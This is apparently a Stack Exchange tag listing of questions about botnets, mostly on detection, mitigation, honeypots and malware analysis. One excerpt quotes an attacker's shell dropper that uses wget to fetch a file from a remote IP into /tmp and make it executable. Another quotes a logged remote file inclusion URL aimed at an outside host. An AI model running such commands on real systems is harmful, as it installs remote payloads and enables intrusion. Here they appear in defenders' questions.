A botnet is a collection of computers that are under the control of a person or group, usually facilitated by malware. These computers are often used to take part in DDoS attacks and spamming.

learn more… | top users | synonyms

39
votes
5answers
3k views

I managed to capture a botnet control host, what do I do with it?

A few days ago one of my webhosting customers had their FTP login compromised, and the attacker modified his index.php file to include some extra code, and roughly twelve thousand other bots have been ...
21
votes
4answers
2k views

What are spambots doing with unintelligible login attempts?

After constantly being under attack in phpBB, I created a new forum by hand, which successfully prevents spam bots from registering, and I get a report for every failed login attempt, telling me the ...
18
votes
2answers
572 views

How secure is Stack Exchange's reputation?

I recently read an article about researchers being able to penetrate the Facebook network and making lots of friends with about 100 "Social" bots. What would prevent somebody to do the same on Stack ...
11
votes
6answers
27k views

How do I know if my computer is being used for a botnet-based DDoS attack?

A botnet is a collection of compromised computers, each of which is known as a 'bot', connected to the Internet. When a computer is compromised by an attacker, there is often code within the ...
11
votes
3answers
1k views

What does this sh script does if executed in a production environment

I could intercept what a possible attacker is trying to do on my website and he/she tried to execute this script: #!/bin/sh cd /tmp;cd /dev/shm wget -q http://221.132.37.26/xx -O ...x chmod +x ...x ...
10
votes
4answers
5k views

Looking for botnet IP address feeds to protect against DDoS

I would like to get a live feed of botnet IP addresses delivered from a service and block them under certain conditions. Preferably community based/open source but open to looking at worthy commercial ...
10
votes
5answers
5k views

Why do botnets use IRC but not a web service for communication?

IRC seems still the most prominent way for communication within botnets. Why do attackers choose IRC? In my (very naive) opinion, to set up a web service is far more easier.
9
votes
2answers
929 views

Publicly available Botnet Traffic dataset

Is there any publicly data set on botnet traffic for machine learning purposes. i.e traffic set for both bad and good bots
8
votes
3answers
408 views

How do researchers “gain control of an attacking PC” and not themselves be considered attackers / criminals?

In reference to this Network Computing Report article titled "'Operation Shady Rat' Perpetrated Five Years Of Long-Term Attacks On Government, Enterprises" The Cliff's Notes to the article is thus: ...
8
votes
3answers
191 views

How to identify and analyze malware that checks for security tools before running?

I've been reading about the ZeroAccess and looking into some bot's code source* and I found this piece of code which checks if filemon is running in the infected computer before running the bot. ...
7
votes
6answers
1k views

how to mitigate a DDoS from botnet on your website that comes from random IPs

I am wondering how do you mitigate a ddos attack which is coming from a botnet and hitting random URLs on a website. If there was a consistent URL it was hitting then it would be fairly simple, and ...
7
votes
1answer
396 views

Anatomy of a Botnet takedown

So Microsoft was partly responsible for taking down the Kelihos botnet back in Sept 2011. They used a variety of legal and technical measures to do so. I don't want to get into the global politics ...
7
votes
2answers
1k views

How to attract traffic to a honeypot

I have set up a honeypot, but I am not happy with the low traffic load and I would like to trigger much higher traffic levels. What methods would attract high bot activity? These are the ideas I ...
6
votes
4answers
3k views

Block all BotNets and TOR addresses from accessing our site

I've heard that many DOS attacks and general "black hat hacking" attempts occur over the TOR network. Is it possible for me to dynamically block source IP's by their presence in a BotNet or similar ...
6
votes
2answers
382 views

Statistics on purposes of viruses/malware

Are there any resources that analyze the purpose or goal or the major viruses/malware out in the wild today? For example, what percentage are used to construct botnets (for DDoS or something else)? ...
5
votes
1answer
271 views

Would using Google reCAPTCHA allow Google to cheat?

Wanting to go a step further into reducing the attacking surface from my "register new user" form I think on using reCAPTCHA (the one Google offers). Having bots sorted out from being able to ...
5
votes
3answers
696 views

How do you search for a botnet out in the wild?

I'm interested in searching for botnets out in the wild. Besides Google dorking for a phrase or code used on the control panel backend for web based interfaces. What other ways are there to search for ...
5
votes
6answers
3k views

How can I tell whether this computer is part of a botnet?

One of the computers that I manage (in the family, not business) has a weird set of files in its boot: bash.exe, curl.exe, uname.exe, sed.exe, rm.exe, tail.exe, cut.exe, awk.exe, cat.exe, chmod.exe, ...
5
votes
1answer
779 views

Tools to identify and report hacking attempts originating inside reputable organizations?

Re: Should I report hacking attempts? - Server Fault Lots of people look at their own logs for attacks from the outside. But who regularly reports such attacks back to the source? I'm mainly ...
4
votes
6answers
611 views

Bot detecting by considering request inter-arrival time

If there are some chances to detect a bot by considering the users page viewing time, is it possible to measure this time? When a user request for a page (page request), browser request for several ...
4
votes
4answers
392 views

Malware that uses http as a covert channel

I'm working on a http traffic analyzer and I need a collection of malware, which uses http as a way to get commands and respond, to analyze their network behaviour. Is there any database of malware, ...
4
votes
3answers
277 views

Are there any known botnets targetting smartphones?

Are there any known botnets that specifically target smartphones? What is their topology and how are they controlled? What are they used for?
4
votes
3answers
428 views

Server root attack?

Someone in Hungary tried something odd recently: /?_SERVER[DOCUMENT_ROOT]=http://94.199.51.7/readme.txt? This is the partial URL from my log, showing the page they went to. They gave my site's URL ...
4
votes
2answers
351 views

Can botnets be injected through open wifi to smartphones?

I have read this paper, which is answers part of the question. It answers, 'open wifi will help increase the spread speed and impact' but what I want to know is, can you 'plant' an open wifi access ...
3
votes
3answers
841 views

How to check if URL/ IP belongs to a zeus bot

I have a set of URL's which might be Zeus hosts / C&C servers since my security appliance says so. Is there a way to check if these really belong to Zeus?
3
votes
2answers
238 views

BOTs C&C channels

Can someone please explain the C&C for bots ? im reading a paper about Android bot , and its explaining something called URL flux as method of C&C . however i couldn't really get it , so ...
3
votes
3answers
329 views

How similar are bots regarding their HTTP GET request?

Lets assume a botnet is attacking a website by HTTP GET flooding. To find the bots, the only way seems to be finding the similarities of the HTTP GET requests considering the URL and header fields, ...
3
votes
2answers
826 views

How do browser injections work?

I've heard many times that malware like Zeus, SpyEye and Citadel are able to do browser injections to steal credit card data. How do they do it? how do browser "injections" work? How are they able to ...
3
votes
2answers
342 views

Setup and record outbound traffic from a botnet in a sandbox/secure environment

How do I record the outbound 'attack' traffic from a botnet on a Windows XP machine? The captured traffic will be in the Windows XP firewall log. I need to setup some kind of an experiment where I ...
3
votes
2answers
92 views

How to get rid of an Ad bot?

The issue started due to setting up a proxy server on a PC connected to my network. I then realized that all of my devices that connected to the network, including PCs and phones, are all infected by ...
3
votes
1answer
559 views

What is known about the sirefef/zeroaccess malware/botnet?

There appears to be an increase in p2p communication among botnets that has been attributed to the sirefef/zeroaccess malware botnet. What is known on this particular threat?
2
votes
4answers
705 views

How can I block bots that consistently hit the same URLs?

I am getting slammed hard by bots, and I am not sure how to stop them without blocking my legitimate traffic. I created some iptables rules that say, if X connections in X seconds, block, but that ...
2
votes
4answers
503 views

How to identify the Java program that is maliciously accessing my web site from many client addresses?

For many years, my personal web site receives numerous pairs of hits that look like this, every day: 202.xx.xx.xx - - [22/Apr/2013:12:02:26 +0000] "GET / HTTP/1.1" 200 5923 "-" "Java/1.4.1_04" ...
2
votes
3answers
324 views

How could an iPhone be transmitting abnormal loads of data without apparently running anything?

My iPhone has sent/received 900MB in 15 days from "com.busuu.japanese.a" I got this information from Onavo, which 'compresses' my data. I have never heard of Busuu until today. It is a language ...
2
votes
1answer
88 views

Risks and prevention methods associated with flagging or downvoting?

Similar to bots posting spam posts and blogs is it possible that bots with legible registered accounts go around the site flagging or downvoting everything on the site. If yes, what can I do to ...
2
votes
1answer
1k views

Can you get rid of the ZeroAccess botnet without a complete reinstall? [duplicate]

I'm interested in the recommended course of action for when you find a (Windows) system infected with the ZeroAccess botnet. I've seen various blog posts online recommending that the user download ...
2
votes
1answer
82 views

finding bot generated traffic through object requested behavior

I have network traffic details, which consist of client IPs accessing a web server. Alongwith that I have the session ids through which the client IPs access the web server. In the session details I ...
2
votes
1answer
273 views

Understanding what bot was used for a Botnet attack

Yesterday we got to know of a massive brute force attack on WordPress admin accounts targeting weak passwords. From an online source: A botnet using more than 90,000 IP addresses to crack ...
2
votes
1answer
146 views

After having confirmed a computer is infected by a Botnet.

And having found a server IP that is controlling it. How can I find out the log-in credentials this client uses to log in to a IRC channel / server webpage / control panel. I have found out a python ...
1
vote
1answer
133 views

Botnet Attempting to Login to Website

Our server has recently become a target of what appears to be a botnet attack. The first indication was an insane amount of traffic to one of our client's websites - so heavy that the server entirely ...
1
vote
1answer
124 views

Botnet callback patterns

I am trying to understand the network behavior of bots. Are there any identifiable characteristics of callback requests from the bot to the C&C server which differentiates it from normal traffic? ...
1
vote
1answer
608 views

Orbit Downloader botnet program removal [solved]

Recently (shortly after midnight on 10/8/2013) I installed and ran Orbit Downloader. After learning that the latest version (4.1.1.8) has a botnet-like module included I immediately stopped the ...
0
votes
1answer
169 views

How do botnets deliver spam? [closed]

I can't seem to find the answer to this question. I read that botnet bots are used as email relays (they have smtp servers installed). Wikipedia on Open mail relay: "(...)Internet initiatives to ...
0
votes
4answers
236 views

What can a zombie computer feasibly install and run?

I'm experimenting with a Proof of Work system that tries to force the use of a browser in order to solve the client puzzle. Basically, instead of just handing off the puzzle as hash with a well known ...
0
votes
2answers
362 views

Why was the Hail Mary Cloud named so? [closed]

The Hail Mary Cloud was a botnet that slowly and intelligently attempted to bruteforce SSH logins. Why was it dubbed the Hail Mary Cloud though?
0
votes
2answers
449 views

What are other channels Botnets can use for command and control except IRC

What command and control channels might a botnet use? Which would be most effective? I found good info on IRC, what are other possibilities? (Exam preparation - no harm intended :-) )
0
votes
1answer
1k views

Monitor incoming TCP/UDP flood attack and graph it

I'm preparing a presentation on a security issue and want to include a demonstration. It won't be in real time, I just need to show some pictures of the results. I have some VPSes that will perform a ...
0
votes
2answers
80 views

Malicious capabilities of Social Botnets

A fairly new concept in Malware, especially in the case of botnets, is the emergence of social botnets. These botnets are comprised of accounts (either a newly created account or an existing hijacked ...
0
votes
3answers
2k views

How to detect the so-called “undetectable” Gameover Zeus?

The media are currently (and have been) creating a huge ruckus surrounding the supposedly "undetectable" Gameover Zeus malware. The Daily Mail The Mirror The Independant PC World The Telegraph ...
0
votes
1answer
440 views

I got a python script decrypted out of a pcap from a botnet [closed]

I got a python script decrypted out of a pcap file it's communication from a botnet (proberbly the c&c) but when i start the script i ain't getting login or passwords. What does this script do? ...